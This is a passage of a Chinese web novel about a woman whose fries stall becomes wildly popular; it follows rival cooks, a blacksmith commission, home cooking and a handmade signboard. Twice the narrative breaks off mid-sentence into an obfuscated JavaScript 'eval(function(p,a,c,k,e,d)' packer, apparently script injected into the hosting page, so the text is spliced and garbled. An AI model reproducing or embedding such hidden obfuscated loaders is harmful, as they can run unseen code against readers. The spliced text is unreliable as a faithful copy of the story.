此刻见到满当当的板车，再看一眼尤兰达身上缀满补丁的麻布罩裙，艾米丽便知道，传言十有八九是真的。 曾经的富商夫人潦倒至此，艾米丽全然忘记她虐待继女辛德瑞拉的事情，无比怜惜这个可怜的女人。 “那个……”她迟疑了一下，压低声音，“我听说最近有种叫薯条的东西很受欢迎，好多人去买。假如你愿意试试，或许能挣点钱。” 她说完又觉得不妥，赶紧补一句：“当然，你肯定有自己的打算，我随口一说，薯条听起来确实不简单。” 艾米丽想帮忙又怕伤人，吞吞吐吐半天，尤兰达心里一软 “谢谢你，艾米丽夫人，我会考虑的。”她没有解释太多。 艾米丽点点头，往旁边让了让，“那、那你忙，我先回去了，有空欢迎来我家尝尝我的苹果派，我很擅长做派。” 尤兰达客气了一下，礼貌告别后推着板车离开。 “费尔南多夫人——” 然而没等她走远，身后传来艾米丽的喊声。 她回头。 艾米丽站在巷口，暖融融的阳光洒了她一身。 “会好起来的。” 尤兰达懵了一会，不明白这话从何说起，但她感受到了来自艾米丽的温度。 她弯了弯嘴角，挥挥手，转身走进人流。 艾米丽目送丰腴背影消失，轻轻叹了一口气。 大不了，过两天找机会打听打听，确定费尔南多夫人在哪摆摊，她领着其他几位夫人一起光顾。 她又琢磨着，回头跟丈夫商量商量，要是费尔南多夫人需要硝制毛皮，自家这边尽量算便宜些。 想着想着，脚步渐渐慢下来，艾米丽不禁产生了困惑。 费尔南多夫人看起来不像会虐待女儿的人，她比她认识的富商夫人们温和太多，性格有点冷淡，却没什么架子。 她还愿意提醒别人小心毒蘑菇，是个好人。 艾米丽摸了摸后脑勺，摇着头离开。 好人尤兰达在路上耽误了一会，加速赶去工匠街。 一进小广场，板车没挺稳，客人呼啦一下蜂拥而来。 于是，工匠街出现了前所未有的神奇画面。 尤兰达推着板车走在前面，后面跟着乌泱泱的人，薯条夫人喊个不停。 车子挺稳，老顾客贴心帮忙维护秩序，扯着嗓子提醒不懂规矩的新客人，比她还上心。 尤兰达头皮发麻，知道自家小吃摊火，没想过这么火。 眼看着客人们你推我搡、争先恐后地抢第一的位置，她赶紧安抚：“做完你的做你的，做完你的做他的，大家别抢，都不白来。” 喊完这一嗓子，她再没工夫想艾米丽，一头扎进油锅和酱罐子里，忙得脚不沾地。 如她所预料，今天的客人，又变了样。 食客队伍里，除了一些熟脸，多了好些穿着体面、系着围裙的女仆和管家打扮的人。 他们出手阔绰，薯条一买就是三四份，三明治差点遭到了哄抢。 罩布一揭，不到一小时，50份三明治售罄了！ 尤兰达直接傻眼。 生意红火成这样，两边的邻居可就惨了。 长长的队伍从她摊前蜿蜒出去，把旁边的摊位挡得严严实实。 挤不进去的客人无奈耸肩，干脆站在外围伸着脖子往这边瞧，想弄明白薯条到底有什么魔力。 那眼神，又酸又馋又遗憾，然后变的坚定。 明天一定早点来！ “薯条夫人，”老顾客玛丽挤到跟前，一边递铜币一边抱怨，“您的生意也太好了！我现在要比平时更早出门，才能抢上一份。” 旁边几个人纷纷附和：“就是就是，多做点嘛！” “明天，明天一定多做！” 尤兰达笑着应承，手上动作不停，心里开始盘算晚上回去得多备多少料了。 通常来讲，初炸过的薯条4小时内完成复炸，口感最佳。 如果有冷藏的条件，时间可以推一推。初炸后冷冻起来，几天之内复炸都不是问题。 思绪转一圈，尤兰达有了打算。 生意一直这么火爆的话，她可以考虑提前一晚处理土豆，准备充足的量放进空间，第二天只需完成油炸的步骤。 想到家里有三个劳动力，尤兰达估摸着还能坚持几天。 小吃摊生意红红火火，食客们吃得乐不思蜀，当老板的尤兰达痛并快乐着。 而皇城里其他的面包师、厨师……就只有痛了。 薯条太火了，一经传播，吸引无数食客。 许多慕名品尝薯条的人找不到工匠街，总会在面包坊、小酒馆问一嘴。 “你家有薯条吗？”“你们的厨师能做薯条吗？”“我想吃薯条”等类似的话语，是这几天出现频率最高的句子。 有人按捺不住，四处打听，得知薯条的源头来自工匠街，一个貌美夫人摆的小吃摊。 等他们尝过薯条，吃到番茄酱，感受到三明治的滋味，眼前一片灰暗。 怎么说呢，好吃到不像是这个世界该有的食物。 第一口惊艳，第二口疑惑，第三口第四口往下咽，便只剩下自卑与痛苦。 他们复刻不出来。 除了知道食材是土豆，酱汁有番茄，三明治里有白面包和蔬菜，他们想不到如何把自己熟知的食材，变成嘴里正咀嚼的滋味。 这才是刚开始，等以后薯条夫人把大家的胃口养刁，普通的土豆还能吸引客人吗？ 劳伦斯为此感到深深的忧虑。 他捧着刚到手的薯条和三明治，越吃越苦大愁深。 待回到自家面包坊，看着客人稀稀拉拉的店面，第无数次叹气。 炉膛里的火还烧着，新烤的黑麦面包码在架子上，热腾腾地冒着气。 搁在往常，这会儿早该卖完收工了。 可现在呢？太阳偏西了，才卖出去不到三分之一。 “师傅，”小学徒从门口探进脑袋，小心翼翼，“又有人问咱家有没有薯条。” 劳伦斯没吭声。 小学徒继续：“我们要不要也卖薯条？我看隔壁街酒馆有卖土豆条了，虽然味道差得远，可也有人买……” 劳伦斯：“滚！” 小学徒缩了缩脖子，识趣躲开。 厨房安静下来，劳伦斯抓着脑袋，心里不禁考虑起小学徒的建议。 这两天，来店里的人十个里有七八个是来问薯条的。 买面包？顺带的。有就买两块，没有拉倒。好像面包成了什么可有可无的玩意儿。 劳伦斯攥紧手里的抹布，又松开。 他找来陶锅，咬牙倒进去半罐子猪油，油脂即将融化，他懊恼的一拍脑门。 光记着滋啦滋啦的油锅了，他怎么把最重要的土豆给忘了。 劳伦斯快步去后院，捡出一颗土豆清洗，先横着切再竖着切，笨拙而认真。 看到切成和买来的薯条差不多的造型，劳伦斯露出得意笑容。 也没有很难嘛。 正好锅里油脂融化，黄澄澄一片，他回想薯条夫人的操作，抓起一把土豆条扔进锅—— “滋啦！” “嗷！” 油锅发生剧烈反应，油脂翻腾飞溅，星星点点落在劳伦斯的手背、胳膊、脸上。 劳伦斯一时间不知道该顾哪里，手忙脚乱一阵，搓着胳膊和脸蛋直喊疼。 小学徒听到动静，悄悄瞅了一眼，又悄悄放下帘子，当没看见。 劳伦斯嚎了一会，赶紧抽开木柴调小火。 等他鼓足勇气靠近锅，才看到锅里硬邦邦炸成木棍一样的玩意。 劳伦斯不死心，捞出来晾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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担心这点钱不够，多拿了十几枚银币以防万一。 他攥着钱袋子，呼哧呼哧喘粗气。 看在金币的面子上，薯条夫人应该会教他吧？ - 尤兰达招呼完最后一个客人，虚脱的蹲下歇息。 今天准备了差不多320份薯条，50份三明治，东西卖完了，她人也累懵了，嗓子直冒火。 她缓了好一会，撑着膝盖站起，推车往工匠街深处走。 收益突破新高，尤兰达觉得，是时候给自己添置点好东西了。 比如铁锅。 家里陶锅不少，到底比不上铁锅趁手，大铁锅有了，她需要小铁锅。 工匠街的铁匠铺多，但各做各的，分得细致。 有的主营兵器刀剑，有的专长马蹄铁、马具金属件，有的擅长门锁箱锁和刑具，还有铸造教堂专用的铁钟、铁艺装饰，五花八门。 尤兰达要找的是专做金属工具的，农具、炊具、手工工具这一类。 大多数铺子没写名字，但招牌上会画简笔画，倒也一目了然。 她推着车穿过半条街，好不容易才找到一家木牌上画着菜刀和铁锅图形的店面。 里面叮叮当当敲得正响，她扯着嗓子喊了一声，才有杂役赤着胳膊、满头大汗地跑出来。 “薯条夫人？” 这一声喊，连炉子后面老铁匠都跟着抬起头，满脸胡子被火光映得通红。 “薯条夫人！”老铁匠乐呵呵地放下锤子，“今天这么早收摊了？幸好我去的早，不然又抢不着了。” 尤兰达一瞧，乐了，这不是她的老顾客嘛。 先谢过人家照顾生意，她这才说明来意：“我想打几种铁锅，市面上没有卖的。您要是有空，我给您说说？” 老铁匠来了兴致，放下锤子凑过来：“您说。” 尤兰达张嘴想描述，然而她掌握的词汇量根本不够用。 铁锅的形制、压板的构造，脑子里清清楚楚的东西，到了嘴边变得磕磕巴巴。 她索性借来莎草纸，连说带画外加比划，勉强把几样东西的轮廓和作用交代清楚。 “三明治压板。铁皮敲的薄一点，轻一点，但要结实，中间排四个下陷的坑，指甲盖那么深。” 这是仿造电饼铛，不止三明治，煎蛋、煎饼、烘面包，都能用上。 老铁匠挠着胡子想象一会，“压板没问题，不过翻折……” 尤兰达早有准备，在压板另一侧画出两个抽象的圈。 “两块板子各延出来一小节，锻造的时候留出孔洞，只要插上铁棍串联起来，翻折的问题就解决了。” 老铁匠捧起草图，认真领悟她所说的铁棍、孔洞，翻来覆去看好几遍，越琢磨越觉得主意妙。 “这法子不错，薯条夫人，你的主意太棒了。”他啧啧称奇。 尤兰达谦虚笑笑，说起另外两种平底锅：“平底小铁锅，不需要太大，锅底要平整些，厚薄均匀。还有一种铁板，要长方形，四边围挡住，大概拇指那么高，最好按两个耳朵，方便使用。” “还有一种铲子，做为厨具使用，三角形的铁片，要薄一点。” 既然做了铁板，铲子顺带手做出来配套使，省得再跑一趟。 老铁匠扫一眼图纸，心里有了数，拍着胸脯保证。 “铁锅和铲子明天傍晚来取，压板要等几天，你放心，星期五之前能交货。” 尤兰达没想到速度这么快，忙问：“我该给您多少钱？” 老铁匠掰着手指头算了算料钱、炭钱、人工，报出一个数：“薯条夫人，抱歉我不能给您更多优惠，铁锅总归是不便宜的，它们加起来一共一千五百铜币。” 1500铜币，今天总收入的一半！ 尤兰达摸了摸钱袋子，咬牙付款。 “不急不急，”老铁匠摆摆手，“那是总价，交货的时候再付不迟。订金嘛，给三百铜币就成。” 尤兰达顿时没那么心疼了。 1500铜币，明天很快翻倍赚回来。 约定好取货日期，尤兰达推车离开工匠街。 也是耽误这一会，她才发现，工匠街前后竟然冒出不少炸薯条的摊子。 她多看了两眼，认出几张熟面孔。 有个以前卖馅饼的，有个卖麦粥的，两人各自占据一段，生疏地支起油锅，煞有介事地炸着什么。 尤兰达放慢脚步，在路边逗留了一会儿。 摊子前的光景算不上好，偶尔有人好奇凑过去看一眼，旋即摇摇头走开。 即便有个别胆大的掏出铜板买一份，也是尝了一口就皱眉，剩下的捏在手里，不知该扔还是该留。 “伙计，虽然你做的麦粥不好吃，但没有你做的薯条难吃。” 第一天改行的伙计一愣，差点没转过弯来，好一会意识到自己被顾客当面呲了。 尤兰达悄悄瞥了一眼他们所谓的“薯条”，粗的粗细的细，有的炸过了头，有的还没熟透就捞出来，可以想见制作步骤出了哪些差错。 旁边搁着的酱汁不知是什么调的，颜色发暗，更像鲜肉酱。 五铜板一份，便宜是真便宜，可卖相太差了点。 “比薯条夫人的差远了，凭什么收5铜币？” “太让人失望了，我以为会和薯条夫人的差不多。” 靠着薯条的噱头，几位摊主好不容易吆喝来几个顾客，待客人一尝过实物，纷纷认为自己遭遇了诈骗，嘀嘀咕咕走开。 尤兰达收回目光，嘴角压了压，到底没忍住，弯了一下。 回到贝壳街，她果断绕去香料铺。 香料铺不止卖香料，包括染料、矿物颜料等。 红色的茜草，黄色的焊黄，挑出这两种，尤兰达信心满满回家。 等着吧，她的商标一定会是工匠街最漂亮的商标。 34.第 34 章 这一天，尤兰达终于有机会一个人回家。 借着麻布遮挡，她悄悄往菜篮子里丢了几样好东西。 几块猪板油，一块1000克的原切谷饲M3牛排，大蒜N颗，鸡蛋N颗。 累了一天，肚子里没油水不行，吃点好的犒劳一下大家。 托空间的福，否则她哪敢这么吃，一天赚5000铜币也不够造的。 幸好她动作快，盖上麻布没走几步，快到巷口一抬头，自家店门前聚了十来人。 再细看，全是熟面孔。 红发苏珊带着几个学徒和伙计，背来新一批草垫和木板。 几个人站在门口等了好一阵，不时抬头看日头。 蚝郎刚到不久，脚边洇了一小摊水渍，正四处张望。 老格伦家的伙计倚着板车，车上满满当当，罐子、坛子、大缸，摞老高，看着就沉。 还有一个棕发伙计，扛着一麻袋土豆，正跟蚝郎搭话。 木柴铺的杂役等不及，想走又放心不下木柴，原地转了两圈。 好巧不巧，远处传来嘻嘻哈哈的笑声。 尤兰达眺过去，大约翰背着背篓牵着马往这儿走。 西芙拉和菲奥娜抱着一大捧野花，你推我搡，正比谁搭配的更好看。 尤兰达嘴角弯弯，快步走过去，扬声招呼大家进门。 一时间，验货的验货，结算的结算，搬运的搬运，小院里吵吵嚷嚷，热闹得像赶集。 没一会儿，西芙拉三人也进了院子。 大大小小的箩筐从马背上卸下来，挨着院门堆了一溜。 尤兰达刚付清最后一份货款，抬头看见满院忙乱的景象，笑意忍不住加深。 怎么说呢，有点欣欣向荣的意思。 红发苏珊见她忙得脚不沾地，也不多话，主动提出先带人上阁楼铺草垫。 尤兰达以为该上瓦片了，没想到还有工序，拉住她好奇地问了一句。 红发苏珊耐心解释：“一层哪里够，冬天雪最深的时候，能没过大腿。最好铺两层，再架上木椽条，中间填刨花木屑，最后轮到瓦片。” 尤兰达确实不知道铺个屋顶有这么多讲究，心里默默盘算起工期。 红发苏珊笑呵呵说：“材料备足了，我们动作很快的。对了，费尔南多夫人，屋顶内侧您打算怎么弄？我们可以帮您糊石灰泥。” 尤兰达打听过行情，早有了主意：“我想用皮革和挂毯，家里准备了不少。” 红发苏珊一听“挂毯”两个字，羡慕地咂了咂嘴：“那活儿就更简单了，半天足够。夫人放心吧，九月之前，保管给您收拾得妥妥帖帖。” 尤兰达笑着点点头，转身去张罗别的。 鸡油菌一筐，菲奥娜负责清理。 鲜嫩的野韭菜满满三筐，还堆了大约十几斤的羊角芹和几根嫩芦苇，西芙拉和大约翰负责清洗。 尤兰达站在灶台边，脑子里飞快盘算起来。 羊角芹取几斤焯水，做道清爽的沙拉，配蒜香黄油牛排正好。 再把芦笋一起煎了，烘几片面包，既补足碳水，口感也丰富。 剩下的羊角芹，留着和猪肉剁成馅，搭配猪油渣，明天的早午饭蒸包子吃。 飞快搭配好晚饭和明天的早午饭，尤兰达撸起袖子开干。 首先是蚝郎送来的海带，要尽快搓洗掉外面的黏液，挂去露台晾晒。 说到露台，尤兰达抬头望了一眼，琢磨着是时候找人封上外墙了。 否则家里晾点什么，全被人看得清清楚楚，总归不自在。 幸好蚝郎今天忙不过来，没把杂鱼一起送来。不然今晚又得熬到很晚做鱼露。 尤兰达收回目光，手上动作飞快，搓洗海带。半个时辰左右，一手抱盆，一手扛晾晒架，往露台上走。 红发苏珊正带人铺草垫，瞥见尤兰达手里抖开的深绿色宽长条，心里直痒痒，到底没好意思开口问。 尤兰达下了露台，先去菲奥娜那边拨了拨鸡油菌。 她翻了一遍又一遍，竟然没有一个毒蘑菇混进来，意外了好一会儿。 “不错，明天再接再励。” 菲奥娜脑袋昂得高高的，像只开屏的骄傲小孔雀，绝口不提这里面还有大约翰细致检查的功劳。 大约翰蹲在盆边涮洗野韭菜，腼腆地笑了笑，也没抢功的意思。 尤兰达见时间还早，索性烧了热水，把坛子罐子烫洗干净，又翻出几块合适的石板备着。 三筐野韭菜，她打算全做成腌山葱叶。 洗洗涮涮，做完准备工作，她才去厨房生火，熬猪油。 凉白开倒进锅里，下猪板油、姜片、料酒，中火煮开。浮沫撇干净，捞出沥干，再重新下锅，继续用中火慢熬。 红发苏珊铺完草垫和木椽条，临走之前，扭扭捏捏来到厨房。 “嘿，费尔南多夫人，上次听你说在外面摆摊卖薯饼，我想知道你在哪里摆摊。” 红发苏珊可馋薯饼的滋味了，在家自己尝试做过，总觉得少点什么。 原本要过几天才轮到北1店架木椽条，她特意提前几天，就为了弄清楚哪里能买到上次吃的薯饼。 尤兰达不停搅动勺子，“真遗憾，我没有在卖薯饼了。” 红发苏珊天塌了。她心心念念好几天的薯饼啊，就没了？ “不过我在卖薯条，虽然和薯饼不太一样。” 红发苏珊心思一动。 她当然知道最近十分火爆的新奇食物，往返皇城时总听人提起。 可惜，他们进城的时间总与小吃摊出摊时间错开，一直没找到机会。 但……费尔南多夫人的薯条，和她听说过的薯条，是一回事吗？ 要知道，即便同一条街，不同酒馆煮出来的麦粥也有不同味道。 红发苏珊不抱希望了，可又忍不住期待。 薯饼都那么好吃，或许薯条也不错？ “我能尝尝吗？付钱的那种。” 尤兰达环视厨房，猪油正在熬，土豆没洗没切，一时半会还真拿不出现成的。 “我很抱歉。下次吧，你去工匠街，我的小吃摊很容易找到。” 红发苏珊的期待再次落空，她实在没时间跑那么远，为一份薯条。 如果是薯饼，她愿意试一试。 红发苏珊不甘心这么离开，又问：“好吧，您有您的考量，不过我得再问问，以后北1店的饭馆开起来，我还有机会吃到薯饼吗？” 尤兰达笑眯眯点头，肯定的嗯了一声。 红发苏珊漾开笑容，“下次见，最多一个星期，您家的陶瓦就该备齐了。” 小矮人们离去，院子瞬间静了下来。 “噢——上帝啊！妈妈，我们怎么能忘记去菜市街。” “西芙拉，你该早点说的。” 安静没一会，姐妹俩咋咋呼呼的叫嚷起来。 别说，尤兰达也忘了这回事。 “精灵们至少会在皇城逗留一个月，他们还需要采购些过冬物资。”大约翰算皇城老土著了，当即把自己知道的消息说出来。 西芙拉嗷了一嗓子，直接无视大约翰，朝着厨房喊：“妈妈，明天，明天我一定要去菜市街。” 菲奥娜紧跟着喊：“对，我不要去森林了，一点不好玩。” 大约翰吞了吞唾沫，不确定自己有没有说错话，努力缩小存在感。 尤兰达嘴巴不说，心里对精灵的好奇不比她们小。 “明天收摊，我们推着空车子去菜市街，顺便多买点萝卜和果醋。”她拍板道。 西芙拉和菲奥娜齐齐欢呼。 大约翰松了一口气。 “大约翰，你也一起，我们要买的东西可不少。” 大约翰忍不住咧嘴笑，高声回应。 天色擦黑，三筐野韭菜在三个人的努力下，终于涮洗干净，擦干水分，整整齐齐堆在笸箩里。 尤兰达那边正过滤油渣，手上忙着，于是把操作方法一句一句吩咐给大约翰，由他动手。 两罐喷香猪油摆上流理桌，大约翰手里的活也告一段落。 四人合力封坛，转着坛子一点点挪进地窖。 想到明天可以做泡菜萝卜，她便安排三个孩子挑辣椒，争取今晚把辣椒面备足。 三人排排站在料理桌前，对着干辣椒忙活。仗着有大约翰托底，西芙拉和菲奥娜可劲儿磨洋工。 西芙拉一会儿嚷嚷站着累，一会儿又嫌坐着不舒服，没个消停的时候。 菲奥娜更绝，手里捡着辣椒呢，拉起裙摆就跟姐姐商量借蝴蝶结装饰裙子的事。 两人争论用哪种布料合适，热火朝天，把辣椒忘个干干净净。 战火不知怎么烧到了大约翰头上，两人各执一词，非要他说谁的想法更妙。 大约翰哪见过这阵仗，磕磕绊绊挤出一句：“都……都好。” 他不说还好，一说“都好”，两个人全惹毛了。 “噢——男孩子懂什么裙子！看来我们得换别的布料了。” 大约翰回过味来，合着是找他选出排除项的。 尤兰达憋笑憋得辛苦，开口提醒：“别欺负新员工啊。把大约翰气走了，喂马喂兔子、烧火捡马粪，可就没人干了。” 一听工作量可能落在两人身上，姐妹俩对视一眼，耸耸肩。 大约翰却急了：“我不会走的！”他偷瞄了两位小姐一眼，小声补了一句，“没有人欺负我，我、我喜欢讨论裙子。” 西芙拉腰一挺，下巴一抬：“看吧，我们没欺负他。” 尤兰达就多余管他们。 她摇摇头，添柴调大火力，开始煎牛排。 牛肉太贵了，当地人一年到头吃不上一次。 当然，也很少有人把牛当食材，都指望它耕地，宝贝着呢。 尤兰达谨慎取出一块牛排，这是她们目前的收益可以负担起的量，再多一点就可疑了。 无需做什么新鲜花样，普普通通煎一下即可。 牛排冲洗过一遍，吸干水份，表面微微发干的状态最佳，接着撒盐粒、大蒜粉、洋葱粉揉搓腌制。 趁着腌制的间隙，锅烧滚热，到滴水冒烟的程度，牛排直接入锅，全面接触锅底，煎到外表转变成褐色的焦壳，夹起封边。 到这时，牛排外壳熟了，中心的肉还是生的，便可加入黄油，增加风味的同时促进牛排熟。 黄油容易糊，火力调小后，待彻底融化，蒜瓣百里香依次加入。 很快，混着蒜香渗出勾人的味儿，用勺子不断将黄油浇在牛排表面，中途加芦笋一起煎熟，几分钟即可出锅。 牛排捞出静置，给出足够的反应时间。 此时，陶锅水开，尤兰达准备给羊角芹下锅焯水。 夏末的羊角芹远不如春季的鲜嫩，好在大约翰只取顶端的嫩叶采摘，倒不算太差。 多烫两下捞出，再下三颗鸡蛋，三颗小土豆继续煮着。 她顺手往陶锅上架芦苇垫，切几片面包搁上去蒸软。 盖子一盖，尤兰达开始调沙拉的料汁。 料汁简单调一下即可，芥末、橄榄油、葡萄醋，筷子搅匀黄澄澄的，瞧着就开胃。 放下酱汁碗，牛排静置的差不多了，只差最后一个步骤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再等一段时，等店铺开起来，生意走上正轨，每天赚多多的铜币，到时候，她顿顿吃牛排也不会有人怀疑。 大约翰：“谢谢您，夫人。” 他无比虔诚的默念一句“愿上帝保佑夫人”。 端走餐盘坐在门槛上，埋头深吸一口酱汁的浓郁气味，大约翰飞扬的心情终于落了地。 出息了，他也有吃上牛排的一天！ 1000克牛排四人分，每人只能吃上那么几块，数量不多但足够珍贵。 大约翰慢慢咀嚼，慢慢品味。 白面包原来这么软，绵得像云。 牛肉原来是这个口感，汁水化开，鲜得他喉头直颤。 芦笋竟然可以这么好吃，脆生生的，咬下去还有一丝回甘。 他每一样都尝得很慢，舍不得咽。 吃到半饱，他忽然停下来。 以前啃土豆、嚼黑麦面包，只求肚子不难受就行，昨天晚上，是他这辈子头一回吃撑。 到今天这顿饭，大约翰终于敢确信，跟着夫人，他不会饿肚子了。 盘里还剩两小块牛肉、小半块白面包、一块燕麦饼。他盯着看了好一会儿，没再动一口。 他摸出怀里洗得发白的麻布，在手心铺开，把面包和燕麦饼夹着牛肉包进去，叠好，揣回怀里。 尤兰达瞥了他一眼，没管他鬼祟举动。 分给他的食物，随他处置。 晚饭后没多久，小约翰准时刷新。 大约翰没急着走，等他清理完厕所，两人一起离开。 走出去几步远，大约翰拽住他，先让他擦擦手，然后神神秘秘地从怀里掏出一团麻布包，往小约翰手里一塞。 “快尝尝！费尔南多夫人做的晚饭，有牛肉呢！” 小伙伴面对面，没有旁人在，大约翰终于不用绷着了，兴奋得声音发飘。 小约翰眼睛瞪溜圆，话都说不利索了：“牛、牛肉？” “还有白面包！”大约翰压低声音，却压不住得意劲儿，“对了，燕麦饼也特别好吃。” 小约翰吸溜一下口水，迫不及待地打开麻布包。 先尝一口白面包，眼睛亮了；再尝牛肉块，嚼了半天舍不得咽；最后剩下小半块燕麦饼，他犹豫了一下，又仔仔细细包回去，揣进怀里。 “费尔南多夫人的厨艺，”他咂咂嘴，语气里满是羡慕，“比我想象的还要厉害。” 院子里 尤兰达锁好门窗，里里外外转了一圈。 蜂窝煤晒了几天，明天就能收，菌菇和面片还得多晾晾。 菲奥娜干活糊弄，新摘的鸡油菌堆得密密麻麻，影响晾晒效果，还需她重新摊开。 有的没的杂事处理好，尤兰达锁上厨房后门，闪进空间做辣椒面，熬浆糊。 她埋头忙活，不知过了多久，再抬头时，院内院外静悄悄一片。 尤兰达摸黑溜到柴棚，挑出一根劈好的木柴，带回空间二次加工。 浆糊抹一层，莎草纸抹一层，一层又一层，慢慢捏出想要的形状，烘干机猛吹。 调好的茜草红、焊黄一遍又一遍反复上色，黄的够鲜亮，红的够浓艳，尤兰达终于停手。 她考虑过用名字首字母，仿照双拱门做成商标。 但还是那句话，黑森王国文盲遍地走，他们记不住字母和字母代表的意思。 很多时候，大家连简笔图画都能认错，闹出去武器店买餐具的笑话。 不给大家出难题了，薯条就薯条吧，放大版的总不会认错。 捧起巨大的“蘸酱薯条”欣赏了好一会儿，尤兰达骄傲地送去棚顶晾着。 35.第 35 章 “哇！西芙拉，你快看，好大一根薯条！” “哈，傻子菲奥娜，哪有这么大的土豆，它不可能是薯条。” 尤兰达迷迷糊糊睁开眼，灿烂的阳光直直照进屋里，晃得她又眯了一下。 耳边传来姐妹俩叽叽喳喳的挤兑声，一个嚷嚷，一个反驳，热闹得像捅了麻雀窝。 她猛地意识到自己起迟，腾一下爬起换衣服，一边嘟囔着怎么没人叫醒她，一边拿上牙刷水杯出去洗漱。 推开门，该忙活的都忙活开了。 除了西芙拉和菲奥娜。 两人没注意到她的出现，小脑袋围着大薯条。 大约翰蹲在井边削土豆皮，手上一刻不停，眼睛不时往棚顶方向瞄。 显然，他也被大薯条勾住了好奇心。 尤兰达没有一点不好意思，走过去伸手摸了摸。 没干透，还有些潮，但不影响使用。 她翻出提前备好的细长木棍，往底部预留的孔洞里一插，再往地上一戳，大薯条稳稳当当地立住了。 “就凭它，你们能看出来咱家小吃摊卖什么吗？”她期待地望向另外三人。 大约翰有一点点茫然，他没见过成品薯条，无法对应。 不过只看造型，很难把它和别家的什么东西弄混就是了。 它确实很特别。 西芙拉和菲奥娜十分捧场，绕着转了一圈，啧啧称奇，连连点头。 “像，太像了，只要有人见过薯条，一定能认出来这个大家伙。”西芙拉说。 菲奥娜凑近了看，失望瘪嘴：“它竟然是假的？” 尤兰达无语，她的手艺也没好到以假乱真的程度吧？ 这孩子有点傻。 西芙拉翻了个白眼，懒得理她。 连棍子带招牌一起塞上板车，尤兰达决定，从今天开始，只要出摊就插上它。 招牌够醒目，冲着薯条来的客人老远就能知道摊位在哪，也省得顾客们到处乱转，最后还要说一句“今天怎么摆这里了”。 大约翰丈量一下高度，颇为认同的点头。 有这东西戳在那儿，想找不着都难。 他甚至敢保证，一定有许多人为了看清楚这根大薯条，特意跑去围观。 尤兰达费了好大劲做出来的招牌，得到大家一致认可，心里别提多舒坦。 等她走进厨房，看见灶上烧着热水，大G在棚里嚼着青草，盆里的土豆也削得没剩几颗时，心里更舒坦了。 尤兰达忍不住琢磨，往后每天都这么迟起床，似乎也不是不行，大家都太自觉了。 当然，除了西芙拉和菲奥娜。 “小菲，”尤兰达抓起钱袋子丢过去，“今天买四条鳕鱼、五块白面包，快去快回。” 菲奥娜接住钱袋，哼哼唧唧地挪了两步，又回头看了一眼，见老母亲没有改口的意思，恹恹出门。 她真的很讨厌像杂役一样跑腿，也讨厌和一群人挤在一起抢几条又滑又腥的鱼，沾一身鱼腥气。 大约翰削完最后一颗土豆，擦着手跟去厨房。 “夫人，我每天都要从海螺巷过来，我想，我可以顺路买回来鳕鱼和白面包。” 他怕夫人不答应，又赶紧补了一句：“卖鳕鱼的乔恩和我一样，都是从修道院出来的。我想，他应该会愿意给我一些优惠。” 尤兰达挑了挑眉，收个学徒还挺划算。 “好孩子，想法不错。”她先表达肯定意思，话锋一转，“不过先不急，我准备跟面包坊和生鲜摊的人聊聊，预付一个星期的货款，让他们每天送货上门。” 大约翰一呆，脸颊爆红，不禁挠了挠乱糟糟的鸡窝头。 尤兰达拍拍他肩膀：“去，洗干净手，和小西一起切土豆。” 她转向流理桌另一端，西芙拉已经顺利度过新手期，土豆条切得有模有样。 每一个人都在忙碌，尤兰达抓紧时间系上围裙，张罗早午饭。 小米洗净加水熬煮成小米粥，另烧一锅水煮鸡蛋，三两下搞定。 包子是昨晚定下的，面团也是睡前揉好的，借着橱柜遮挡从空间端出来，先放在一旁醒发，尤兰达利用这会工夫剁肉馅。 前两天买回来的猪肉终于派上用场。 挑选肥瘦相间的部分，剁成细细的肉沫，和切碎的羊角芹、葱花拌在一起，撒上洋葱粉、大蒜粉、盐，倒一勺料酒一勺油小半碗水，再打一枚鸡蛋进去，顺着一个方向搅，搅到肉馅起劲儿，黏糊糊地挂在筷子上为止。 油渣数量不多，尤兰达留出大部分当零嘴，取半碗做油渣羊角芹馅。 油渣剁碎，又不能太碎，保持颗粒感，和肉馅一起顺时针搅动，两种馅料便都准备齐全了。 大约翰站在旁边，眼睁睁看着她调馅，眼睛舍不得眨一下。 夫人一惯舍得用料，这么多好东西撒进去，搅拌了没几下，肉馅的香气就飘出来了，等蒸好，不知道该有多好吃。 大约翰眼珠子比手忙，要看夫人调肉馅，还要保证手里的土豆顺利变成条。 尤兰达干活一向利索，又是熟练工，准备工作做好，手根本停不下来。 擀皮，舀馅，捏褶子，一气呵成，一分钟包出七个包子。 玉米衣托住白白胖胖、夹杂些许麦麸的十二个大包子，整齐摆上蒸笼，别说大约翰，连习惯老母亲炫技的西芙拉，都一愣一愣的。 尤兰达一通忙，甚至能抽出空给铜壶里加了松针和麦芽糖，搁灶上小火慢煮。 松针的清香混着麦芽的甜，丝丝缕缕飘出来，厨房里的味道就更丰富了。 忙活半天，回头一看两人还在切土豆，尤兰达嫌弃的把人赶去切面包洗卷心菜，自己笃笃笃切土豆。 大约翰此时佩服的五体投地，菜刀怎么能像是从夫人手里长出的一样，说切哪切哪，干脆利落。 土豆在她手底下一堆堆地往外冒，粗细均匀，长短一致，码在盘子里跟列队似的，漂亮得不像话。 “上帝啊……” 大约翰看直了眼，一不留神，险些连手指一起插进滚水里。 尤兰达头也没抬，手上刀不停：“小心点，急什么。” 大约翰红着脸应了一声，老老实实把卷心菜叶一片一片铺进锅里，再不敢走神。 土豆切完了，包子蒸上了，粥在锅里咕嘟咕嘟冒泡，松针水煮出了淡淡的琥珀色。厨房里热气腾腾，灶台上摆满了备好的食材，一切都井然有序。 “妈，市集上快没人了，听说大家都去了菜市街。”菲奥娜风风火火地冲进来，把篮子往桌上一搁。 “我们下午就去，别着急，孩子。” 尤兰达接过篮子，白面包分给西芙拉和菲奥娜，告诉她们今天要切多少片，自己拎着鳕鱼去井边处理。 菲奥娜一头扎进厨房，围着灶台转了一圈，什么也没看出来，赶紧戳了戳姐姐。 “嘿，西芙拉，今天吃什么？” 